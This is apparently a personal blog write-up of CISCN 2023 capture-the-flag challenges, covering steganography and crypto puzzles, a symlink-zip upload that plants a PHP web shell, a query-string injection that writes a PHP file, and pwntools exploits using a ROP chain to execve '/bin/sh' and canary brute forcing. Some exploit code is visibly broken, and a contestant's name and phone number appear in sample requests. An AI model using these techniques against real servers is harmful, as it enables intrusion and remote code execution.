ciscn2023 Misc部分复现

前言

这段时间和队友打了ciscn,这里就 放一下我们队伍的wp

很久没打ctf了,现在发现misc都会有一点机器学习的内容,没办法不会啊。而且考的比较细,复现了一下,如果有错的请多多指教

签到卡

print(open(\falg).read)

image-20230527105915198

flag{3a373962-ee93-4144-b8e8-be71635d847d}

被加密的生产流量

image-20230527102028580

MMYWMX3GNEYWOXZRGAYDA===

image-20230527102202162

base32

falg{c1f_fi1g_1000}

国密

基本上就是按着文档做

1
2
3
4
5
6
7
curl -d "name=%E5%90%B4%E9%94%A6%E5%A9%B7&school=%E6%A1%82%E6%9E%97%E7%94%B5%E5%AD%90%E7%A7%91%E6%8A%80%E5%A4%A7%E5%AD%A6&phone=17776224443" http://39.105.187.49:37905/api/login
{
"message": "success",
"data": {
"id": "cc4c813e-72de-48ba-a699-a5aeee0320c4"
}
}
1
2
3
4
5
6
7
8
9
10
curl -d "id=cc4c813e-72de-48ba-a699-a5aeee0320c4&publicKey=4f1e1ed015b433f6c414430b175d39f4c79c7708755c56a35b78f52513c238c36ea57f399457db99932fad880933f027a9822547ebcd81877f73e5b5e7a42cde" http://39.105.187.49:37905/api/allkey
{
"message": "success",
"data": {
"publicKey": "043ce277aa211a9e6a4880460d2e512d7b59053780645af4c10dfe801152ff363a8041c93956c7c800a06157bc6a005609b0370b30e7bf35bc8d4dad0080730936",
"privateKey": "7e460c8f947a91aa7fbb53503e71e4fed56e37d569746ea2e71d479bf95c4a41",
"randomString": "ec6a0a4d1a292f79fba67743acd091d6c2aee7c3f6815f8af37eb3527617fd5950b005f17b060ad6602dec439177944007cbbd7e808d4b30385d51568d52988bf4cb8c94b55a90a9313cd961ce6b551b3b84b746cf81a107887ad9d1bcdb7e92b97f601c43891588bd7fbb1f7b72983a",
"id": "cc4c813e-72de-48ba-a699-a5aeee0320c4"
}
}
1
2
3
4
5
6
7
8
curl -d "id=cc4c813e-72de-48ba-a699-a5aeee0320c4" http://39.105.187.49:37905/api/quantum
{
"message": "success",
"data": {
"id": "cc4c813e-72de-48ba-a699-a5aeee0320c4",
"quantumString": "b62b232f7b668582f5157fa8c0fc77e59662f420bf474363c57d93de6dd6b326512d9ffa42db6aa16b0201ec6b1bbdee0d733fe427a6d80c9f2a81e407e28b4664d80417fc8ae412dd49379b84333d13db17ac549f3e7fc46da485b7665beca2db7ca58665b318516f6b64b9c5d80929"
}
}
1
2
3
4
5
curl -d "id=cc4c813e-72de-48ba-a699-a5aeee0320c4&quantumString=e1a9e78da809d929c033db8c2e71c931" http://39.105.187.49:37905/api/check
{
"message": "success",
"data": "结果正确,请访问 /api/search获取您的 flag"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
curl -d "id=cc4c813e-72de-48ba-a699-a5aeee0320c4" http://39.105.187.49:37905/api/search
{
"message": "success",
"data": {
"id": "cc4c813e-72de-48ba-a699-a5aeee0320c4",
"name": "吴锦婷",
"school": "桂林电子科技大学",
"phone": "17776224443",
"publicKey": "043ce277aa211a9e6a4880460d2e512d7b59053780645af4c10dfe801152ff363a8041c93956c7c800a06157bc6a005609b0370b30e7bf35bc8d4dad0080730936",
"privateKey": "3dc0df5f768173d6b59ba705e5b7a9edf5e2f6280c968c618d1d255935c8040c",
"randomString": "c0cb12025b65a487f168ab3bc45edd4e",
"quantumStringServer": "e1a9e78da809d929c033db8c2e71c931",
"quantumStringUser": "e1a9e78da809d929c033db8c2e71c931",
"flag": "已完成考题,结果正确:flag{1ae038cd-56fa-45f0-81e0-50034e3e9c39}"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pysmx.SM2 import generate_keypair,Encrypt,Decrypt
from Crypto.Util.number import bytes_to_long,long_to_bytes
from pysmx.SM4 import Sm4,ENCRYPT,DECRYPT
len_para = 64
hash_type = 'sm3'
'''
pk,sk = generate_keypair(len_para)
print(hex(bytes_to_long(pk))) #0x4f1e1ed015b433f6c414430b175d39f4c79c7708755c56a35b78f52513c238c36ea57f399457db99932fad880933f027a9822547ebcd81877f73e5b5e7a42cde
print(pk)
print(sk)
'''


pk = b"O\x1e\x1e\xd0\x15\xb43\xf6\xc4\x14C\x0b\x17]9\xf4\xc7\x9cw\x08u\\V\xa3[x\xf5%\x13\xc28\xc3n\xa5\x7f9\x94W\xdb\x99\x93/\xad\x88\t3\xf0'\xa9\x82%G\xeb\xcd\x81\x87\x7fs\xe5\xb5\xe7\xa4,\xde"
sk = b'b\x8d\x1a\x15\x89\xfbY\x96\r\x8e\x0e\xdd\xed\x10C+\xc2\xc9\x17\xc32\xad \xd9\x90\xbdH\xf2\xb6\x04Qh'


randomString = 0xec6a0a4d1a292f79fba67743acd091d6c2aee7c3f6815f8af37eb3527617fd5950b005f17b060ad6602dec439177944007cbbd7e808d4b30385d51568d52988bf4cb8c94b55a90a9313cd961ce6b551b3b84b746cf81a107887ad9d1bcdb7e92b97f601c43891588bd7fbb1f7b72983a
m_str = Decrypt(long_to_bytes(randomString),sk,len_para,hash_algorithm=hash_type)
print(m_str) #b'\xc0\xcb\x12\x02[e\xa4\x87\xf1h\xab;\xc4^\xddN' 随机数明文

# 解服务器秘钥明文
key = m_str
sm4 = Sm4()
Bskc = 0x7e460c8f947a91aa7fbb53503e71e4fed56e37d569746ea2e71d479bf95c4a41
sm4.sm4_set_key(key,DECRYPT)
Bsk = sm4.sm4_crypt_ecb(long_to_bytes(Bskc))
print(Bsk)
#[61, 192, 223, 95, 118, 129, 115, 214, 181, 155, 167, 5, 229, 183, 169, 237, 245, 226, 246, 40, 12, 150, 140, 97, 141, 29, 37, 89, 53, 200, 4, 12]
s = ''
for i in Bsk:
f = hex(i)[2:]
if len(f) == 1:
f = '0'+ f
print(f)
s = s + f
print(s)
#0x3dc0df5f768173d6b59ba75e5b7a9edf5e2f628c968c618d1d255935c84c
Bsk =0x3dc0df5f768173d6b59ba705e5b7a9edf5e2f6280c968c618d1d255935c8040c
B_c =0xb62b232f7b668582f5157fa8c0fc77e59662f420bf474363c57d93de6dd6b326512d9ffa42db6aa16b0201ec6b1bbdee0d733fe427a6d80c9f2a81e407e28b4664d80417fc8ae412dd49379b84333d13db17ac549f3e7fc46da485b7665beca2db7ca58665b318516f6b64b9c5d80929
B_m = Decrypt(long_to_bytes(B_c), long_to_bytes(Bsk),len_para,hash_algorithm=hash_type)
print(B_m) #b'\xe1\xa9\xe7\x8d\xa8\t\xd9)\xc03\xdb\x8c.q\xc91'
print(hex(bytes_to_long(B_m)))#0xe1a9e78da809d929c033db8c2e71c931

image-20230527142159534

image-20230527142209410

国粹

有可能是坐标啊

麻将宽度是53

麻将高度是73(通过因数分解)

然后就按照宽度和长度对长图进行处理

对 a,k

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from PIL import Image

# 打开原图片
img = Image.open(f'k.png')

# 切割后图片的宽度
width = 53

# 获取原图片的大小
orig_width, height = img.size

# 计算需要切割出几张图片
num_slices = orig_width // width + (1 if orig_width % width else 0)

# 循环切割并保存图片
for i in range(num_slices):
# 计算当前切割位置
left = i * width
right = min((i + 1) * width, orig_width)

# 切割图片
slice = img.crop((left, 0, right, height))

# 保存切割后的图片
slice.save(f'k/{i}.png')

对题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from PIL import Image

def slice_image_vertically(image_path, slice_height):
# 打开图片
with Image.open(image_path) as img:

# 获取图片宽度和高度
width, height = img.size

# 计算需要切割几个块
num_slices = height // slice_height

# 切割并保存所有的块
for i in range(num_slices):
box = (0, i * slice_height, width, (i + 1) * slice_height)
slice = img.crop(box)
slice.save(f"t\{i}.png")

# 示例用法
slice_image_vertically("t.png", 73)

image-20230527165324258

image-20230527165335807

image-20230527165352393

思想就是

其实就是42x42的坐标,一万代表1…菊牌代表42

那么我们假设a是点的x的坐标合集,k是点y坐标的合集

那么就是进行图片的比对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import cv2
import matplotlib.pyplot as plt


def same(img1,img2):
# 读取两张图片
# img1 = cv2.imread(f't/y/1.png')
# img2 = cv2.imread(f'a/3.png')

# 将两张图片转换为灰度图像
gray1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)
gray2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)

# 对两张灰度图像进行直方图均衡化处理
equ1 = cv2.equalizeHist(gray1)
equ2 = cv2.equalizeHist(gray2)

# 比较两张图像的相似性
res = cv2.matchTemplate(equ1, equ2, cv2.TM_CCOEFF_NORMED)
similarity = res[0][0]
print("相似度:", similarity)
if similarity >= 0.9:
return 1

# img1 = cv2.imread(f't/x/4.png')
# img2 = cv2.imread(f'k/0.png')
#
# same(img1,img2)




a = []
k = []

if __name__ == "__main__":
# for i in range(0,341):
# img1 = cv2.imread(f'a/{i}.png')
# for _ in range(1,43):
# img2 = cv2.imread(f't/x/{_}.png')
# if same(img1,img2):
# a.append(_)
# else:
# pass
#
# for i in range(0,341):
# img1 = cv2.imread(f'k/{i}.png')
# for _ in range(1,43):
# img2 = cv2.imread(f't/x/{_}.png')
# if same(img1,img2):
# k.append(_)
# else:
# pass
#
# print(a)
# print(k)
a = [1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 10, 10, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 31, 31, 31, 31, 31, 31, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 34, 34, 35, 35, 35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39, 39, 39]
k = [4, 5, 10, 30, 3, 4, 5, 6, 10, 29, 30, 3, 4, 10, 16, 17, 22, 23, 24, 25, 29, 30, 2, 3, 4, 5, 10, 15, 16, 18, 21, 22, 24, 25, 29, 30, 3, 4, 10, 15, 17, 18, 19, 21, 22, 25, 28, 29, 3, 4, 10, 15, 16, 18, 19, 21, 22, 25, 29, 3, 4, 10, 11, 12, 13, 15, 18, 19, 22, 23, 24, 25, 29, 30, 3, 4, 11, 12, 15, 16, 17, 18, 19, 20, 25, 29, 30, 21, 22, 24, 25, 30, 31, 23, 24, 22, 23, 24, 25, 2, 3, 4, 5, 9, 10, 11, 12, 16, 17, 18, 19, 24, 25, 2, 5, 6, 9, 12, 19, 23, 24, 5, 9, 12, 18, 19, 22, 23, 4, 5, 9, 12, 17, 18, 23, 24, 3, 4, 9, 12, 16, 17, 24, 25, 3, 9, 12, 16, 25, 3, 4, 5, 6, 9, 10, 11, 12, 16, 17, 18, 19, 21, 22, 23, 24, 25, 10, 11, 3, 4, 5, 6, 10, 11, 12, 17, 18, 19, 24, 25, 3, 6, 7, 9, 10, 16, 17, 19, 20, 22, 23, 24, 25, 3, 6, 7, 9, 10, 16, 19, 20, 24, 25, 3, 6, 7, 10, 11, 12, 16, 19, 20, 24, 25, 3, 6, 7, 12, 13, 16, 19, 20, 24, 25, 3, 6, 7, 9, 12, 13, 16, 19, 20, 24, 25, 3, 4, 6, 9, 10, 11, 12, 16, 17, 19, 20, 24, 25, 4, 5, 17, 18, 19, 10, 11, 12, 13, 25, 31, 4, 5, 6, 10, 11, 12, 13, 17, 18, 19, 23, 24, 25, 26, 32, 3, 4, 6, 7, 12, 16, 17, 23, 24, 26, 32, 6, 7, 11, 16, 17, 23, 24, 26, 32, 6, 11, 12, 17, 18, 19, 23, 24, 25, 26, 33, 5, 12, 13, 19, 20, 26, 32, 4, 5, 13, 16, 19, 20, 25, 26, 32, 4, 5, 6, 7, 9, 10, 11, 12, 13, 16, 17, 18, 19, 24, 25, 31, 32, 23, 24, 31]

# 绘制点
plt.scatter(a, k)

# 显示图表
plt.show()

image-20230527165736757

flag{202305012359}

pyshell

思想就是python交互的时候_是默认储存最后一个打印的值,就可以充当临时的字符串储存,最后再用eval执行。

image-20230528164922250

拼图

看了师傅的wp后续复现了一点,主要还是对bmp的字段不熟悉,最近也要考试了就先复现到这吧

第一部分

这里的话是用两个字段去隐藏了坐标信息

image-20230529184803157

reserved1和2分别是x轴和y轴,同时拼好之后发现上面一部分有一行一行倒过来的,具体控制的是这个字段

image-20230529185052805

那么思想就是,将图按照坐标一块一块拼接起来,同时还要检查块是否倒置

用下面的脚本,内有测试用的python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import os
from PIL import Image
import struct
import numpy
from Crypto.Util.number import bytes_to_long,long_to_bytes

folder_path = "H:/py_test/ciss/tmp4" # 将 /path/to/folder 替换为实际的文件夹路径

# 获取文件夹中的所有文件名,并将其转换为数字进行排序(排除不是数字的文件名)
file_names = os.listdir(folder_path)
file_names_sorted = []
x=[]
y=[]
bfReserved1 = []
bfReserved2 = []
bmp = {}


bmp_l = 0 #宽7110
bmp_h = 0 #高3900

result_image = Image.new('RGB', (7200, 4000)) # 在大多数情况下,坐标系的原点通常位于画布的左上角。

for name in file_names:

file_names_sorted.append(name)
# print(i)
with open(f'../tmp4/{name}', 'rb+') as f:
f.seek(6)
byte_data1 = f.read(2)
f.seek(8) # 将文件指针移动到第8个字节的位置
byte_data2 = f.read(2) # 读取两个字节
f.seek(22)
byte_data3 = f.read(4) # 判断是否上下颠倒
value1 = int.from_bytes(byte_data1, byteorder='little',signed=True) # 将二进制数据转换为整数 x坐标
value2 = int.from_bytes(byte_data2, byteorder='little',signed=True) # y坐标
value3 = int.from_bytes(byte_data3, byteorder='little',signed=True)
value4 = int.from_bytes(byte_data3, byteorder='big')
x.append(value1)
y.append(value2)
bmp.update({name:(value1,value2)})
if value3 < 0 :
value3 = 0 - value3
packed_data = struct.pack('<i', value3)
f.seek(22)
f.write(packed_data)
print(packed_data)

img = Image.open(f'../tmp4/{name}')
result_image.paste(im=img, box=(value1, value2)) #

result_image.save('1.bmp')

print(bmp)

1

然后发现lsb隐写

image-20230529185411886

flag{f1R5T_part_1s_LSB_ sTeG0_

第二部分

然后因为上面是倒置的,这里就放之前没处理过的原图

image-20230529185552824

就怀疑可能有01的数据量隐藏在里面,那么我们就要考虑一下,倒是这个如何从洒落的碎片获得正确顺序序01的数据流?

按照左上为原点的坐标,越往上的0越往下越大

那么把之前的代码捡出来贴一下(没有整理)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import os
from PIL import Image
import struct
import numpy as np
from Crypto.Util.number import bytes_to_long,long_to_bytes
import libnum
folder_path = "H:/py_test/ciss/tmp4" # 将 /path/to/folder 替换为实际的文件夹路径

# 获取文件夹中的所有文件名,并将其转换为数字进行排序(排除不是数字的文件名)
file_names = os.listdir(folder_path)
file_names_sorted = []
x=[]
y=[]
bmp = {}

xor = {}

bmp_l = 0 #宽7110
bmp_h = 0 #高3900
y_m = 500 # 取反最下面的图片,y的位置是500 在大多数情况下,坐标系的原点通常位于画布的左上角。


for name in file_names:

file_names_sorted.append(name)
# print(i)
with open(f'../tmp4/{name}', 'rb+') as f:
f.seek(6)
byte_data1 = f.read(2)
f.seek(8) # 将文件指针移动到第8个字节的位置
byte_data2 = f.read(2) # 读取两个字节
f.seek(22)
byte_data3 = f.read(4) # 判断是否上下颠倒
value1 = int.from_bytes(byte_data1, byteorder='little',signed=True) # 将二进制数据转换为整数
value2 = int.from_bytes(byte_data2, byteorder='little',signed=True)
value3 = int.from_bytes(byte_data3, byteorder='little',signed=True)
x.append(value1)
y.append(value2)
bmp.update({name:(value1,value2)})
# if value3 < 0 :
# if value2 > y_m:
# y_m = value2 算它到底是在第几行是最后一行的倒置的图片
if value2 <= y_m:
if value2 not in xor.keys():
xor.update({value2:[]})
if value3 < 0:
xor[value2].append([value1,'0'])
if value3 > 0:
xor[value2].append([value1,'1'])

xor2 = dict(sorted(xor.items(), key=lambda items: items[0]))

bin_str = ""
for key, values in xor2.items():
print(key)
values = sorted(values, key=lambda x: x[0])
for value in values:
bin_str += value[-1]

print(libnum.b2s(bin_str))

image-20230529185936962

b’ 2nd_paRT_15_reVeRSe_bMp_ .–. .- -..’

那么获得第二段和提示 pad

这里pab是色块的填充字段,要布满最小4个字节,但是之前没接触过,emmmm下次再写吧

flag{f1R5T_part_1s_LSB_ sTeG0_2nd_paRT_15_reVeRSe_bMp_

第三部分

因为提示是pab,就是代表填充的意思,很有意思的是每行的色块(也称为扫描线)的字节数需要按照4字节对齐,在01我们可以看到一行一行的项是储存,假如是32位的BMP图像,每个像素占用4个字节,其中还包括一个8位的Alpha通道,用于表示像素的透明度,那么除以4整除,就不需要填充了,但是如果是24位的话,每个像素点就只有rgb三个通道,一个占一个字节,那么将可能需要进行填充的情况,一般是填充0,但是这些都是无用的,其实我们可以在里面隐藏数据

怎么判断图像时24位还是32位,在头里有说,在bitcount字段,属性也有

我现在选取的是第一张17447199634.bmp

image-20230531134145322

那么确实有藏的可能喽,我们先看一下一行几个像素点

image-20230531134347413

98个,98x3%4 = 2,那么每行将可能藏了两个字节

image-20230531134530345

其实在01里都看到填充字段喽

ffd8,狂喜

但是看了最后一张并没有ffd9,有可能藏的图片咩有那么长,啧,不管了先提一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import os
from PIL import Image
import struct
import numpy as np
from Crypto.Util.number import bytes_to_long,long_to_bytes
import libnum
folder_path = "H:/py_test/ciss/tmp4" # 将 /path/to/folder 替换为实际的文件夹路径

# 获取文件夹中的所有文件名,并将其转换为数字进行排序(排除不是数字的文件名)
file_names = os.listdir(folder_path)
file_names_sorted = []

bmp = {}

xor = {}

bmp_l = 0 #宽7110
bmp_h = 0 #高3900
y_m = 500 # 取反最下面的图片,y的位置是500 在大多数情况下,坐标系的原点通常位于画布的左上角。
height = 100
padding ={}

for name in file_names:

file_names_sorted.append(name)
with open(f'../tmp4/{name}', 'rb+') as f:
f.seek(6)
byte_data1 = f.read(2)
f.seek(8) # 将文件指针移动到第8个字节的位置
byte_data2 = f.read(2) # 读取两个字节
x = int.from_bytes(byte_data1, byteorder='little',signed=True) # 将二进制数据转换为整数
y = int.from_bytes(byte_data2, byteorder='little',signed=True)
f.seek(18)
byte_width = f.read(2)
pad = 0 # 承担每次填充值的字节
# if (name == '10322267058.bmp'):
width = int.from_bytes(byte_width, byteorder='little', signed=True)
if (width * 3 % 4) != 0: # 先判断是否有填充的可能
pad_n = 4 - width * 3 % 4 # 判断填充大小
pad_data = b''
for i in range(1, 101):
tmp = 54 + i * width * 3 + pad
f.seek(tmp) # 跳过像素点
byte_data = f.read(pad_n)
# print(byte_data)
pad_data += byte_data
pad += pad_n
if y not in padding.keys():
padding.update({y: []})
padding[y].append([x, pad_data,name]) # 按照y作为key,保存每行每个图片的x坐标和数据,x坐标是用于对照片排序
padding2 = dict(sorted(padding.items(), key=lambda items: items[0])) # 排序行
print(padding2.keys())
allPaddingData = b""
for key, values in padding2.items():
print(key)
values = sorted(values, key=lambda value: value[0]) # 行内排序,也就是x坐标排序
for value in values:
allPaddingData += value[1]
print(len(allPaddingData))



with open("3.jpg", "wb") as f:
f.write(allPaddingData)

image-20230531201852652

最后被一个小小的代码逻辑卡了4个小时,惭愧惭愧

最后的flag是

flag{f1R5T_part_1s_LSB_ sTeG0_2nd_paRT_15_reVeRSe_bMp_3rd_parT_1s_paddINGINGING}

谢谢大佬的提点:https://byxs20.github.io/posts/19413.html#part3

unzip

这题参考2021深育杯线上初赛ZIPZIP

先构造一个指向 /var/www/html的软连接(因为html目录下是web环境,为了后续可以getshell)

1
ln -s /var/www/html test

利用命令(zip –symlinks test.zip ./*)对test文件进行压缩

image-20230528171817804

再构造一个压缩包

我们先创建一个test目录(因为上一个压缩包里边目录就是test),在test目录下写一个shell文件,在压缩创建的test目录 此时压缩包目录架构是:test/cmd.php

image-20230528172106112

压缩

image-20230528172221642

先后上传这两个zip,访问根目录即可

image-20230528172402610

image-20230528172711953

flag{1dc4d0ee-9981-459c-aa05-d886c084e3af}

dumpit

开局给出提示image-20230528173036643

经过测试,这个是执行sql语句

db=&table_2_dump=这里是可以写入文件的,

写个phpinfo()测试

?db=&table_2_dump=<?=phpinfo()?> 2>log/1.php

image-20230528173618989

image-20230528173643552

flag{92dfb34b-31e3-459d-8720-f78b3a2fdb26}

babyRE

打开附件发现网址https://snap.berkeley.edu

image-20230528174157389

在这个网址打开附件

image-20230528174505186

这是一个图形化编程文件,审计右边红框中的代码得知:后一个数要对前一个数进行异或;把左边红框中的数值按照其逻辑抄写下来

image-20230528174640071

1
2
3
4
5
6
s=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]

for i in range(1,len(s)):
s[i]^=s[i-1]
#print(s)
print(''.join(chr(i) for i in s:))

可信度量

ssh连接上查看环境变量看到flag

img

sign_in_passwd

打开附件发现

1
2
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5

base64换表

第二行先url解码

GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

image-20230528180055976

flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

Shaokao

思路:先成为vip,然后gaiming进行栈溢出。

利用:利用负数来增加金钱,成为vip,然后向文件中写入/bin/sh,然后构造execve系统调用的ROP获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# coding=UTF-8
from pwn import *

filename = './shaokao'
libc_name = './shaokao'

context.log_level = 'debug'
context.terminal = ['tmux','split','-vp','80']
context.binary = filename

elf = ELF(filename)
libc = ELF(libc_name)

debug = 0
if debug:
p = process(filename)
else:
p = remote("39.105.187.49",12425)

# gdb.attach(p, "bp 0x401F5C")

def pijiu(index, number):
p.sendlineafter(">", str(1))
p.sendlineafter("3. 勇闯天涯", str(index))
p.sendlineafter("来几瓶?", str(number))

def chuan():
p.sendlineafter(">", str(2))

def yue():
p.sendlineafter(">", str(3))

def vip():
p.sendlineafter(">", str(4))

def gaiming():
p.sendlineafter(">", str(5))

# context.os = 'linux'
# context.endian = 'little'
# context.word_size = 64
# shellcode=asm(shellcraft.execve("/bin/bash"))

pijiu(1, -10000)
yue()
vip()
gaiming()

rax_ret = 0x0000000000458827
rax_rdx_rbx_ret = 0x00000000004a404a
rdi_ret = 0x000000000040264f
rsi_ret = 0x000000000040a67e
# rdx_rbx_ret = 0x00000000004a404b
syscall = 0x0000000000402404

ret_1 = 0x000000000042a665
bin_bash = 0x7361622f6e69622f

push_rax = 0x000000000045bb51

write = 0x4e6000

# mov_rax_rsi = 0x45af95

payload = b"A"*0x20 + b"A"*0x8 + p64(rsi_ret) + p64(write) + p64(rax_ret) + b"/bin/sh".ljust(8,b"\x00") + p64(mov_rax_rsi) + p64(rdi_ret) + p64(write) +p64(rax_ret) + p64(0x3b) + p64(rsi_ret) + p64(0) + p64(rdx_rbx_ret) + p64(0) + p64(0) + p64(syscall)
# payload = b"A"*0x20 + b"A"*0x8 + p64(rax_ret) + p64(0x3b) + p64(rdi_ret) + p64(rsi_ret) + p64(0) + p64(rdx_rbx_ret) + p64(0) + p64(0) + p64(syscall)
p.sendlineafter("烧烤摊儿已归你所有,请赐名:", payload)
p.interactive()

funcanary

思路:通过爆破canary和system(cat flag)低字节来获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# coding=UTF-8
from pwn import *

filename = './funcanary'
libc_name = './funcanary'

context.log_level = 'debug'
context.terminal = ['tmux','split','-vp','80']
context.binary = filename

elf = ELF(filename)
libc = ELF(libc_name)

debug = 0
if debug:
p = process(filename)
else:
p = remote("47.93.187.243", 27650)

# gdb.attach(p, "b read")
p.recvuntil("welcome\n")
canary = "\x00"
for i in range(7):
for j in range(256):
p.send(0x67*'A' + "\x00" + canary + chr(j))
contxt = p.recvuntil(b"welcome")
if b"have fun" in contxt:
canary += chr(j)
print("canary: " + canary)
break
system = elf.plt['system']
bin_sh = 0x002004
print(system)
# canary = bytearray(canary,'utf-8')
a = b''
for i in canary:
a += bytes([ord(i)])
for i in range(10):
payload = b'A'*0x67 + b"\x00" + a + p64(0) + p16(system)
# gdb.attach(p)
System_ = 0x1231

for i in range(0x10):
addr = i * 16 + 0x2
payload = 'a'*0x67 + b”\x00” + canary + 'b'* 8 + '\x31' + chr(addr)
p.send(payload)
mag= p.recvuntil(‘welcome’)
if b'flag' in mag:
print(ret)
break

p.interactive()


ciscn2023 Misc部分复现
https://vcdogjt.github.io/2023/05/31/ciscn2023 Misc部分复现/
作者
John Doe
发布于
2023年5月31日
许可协议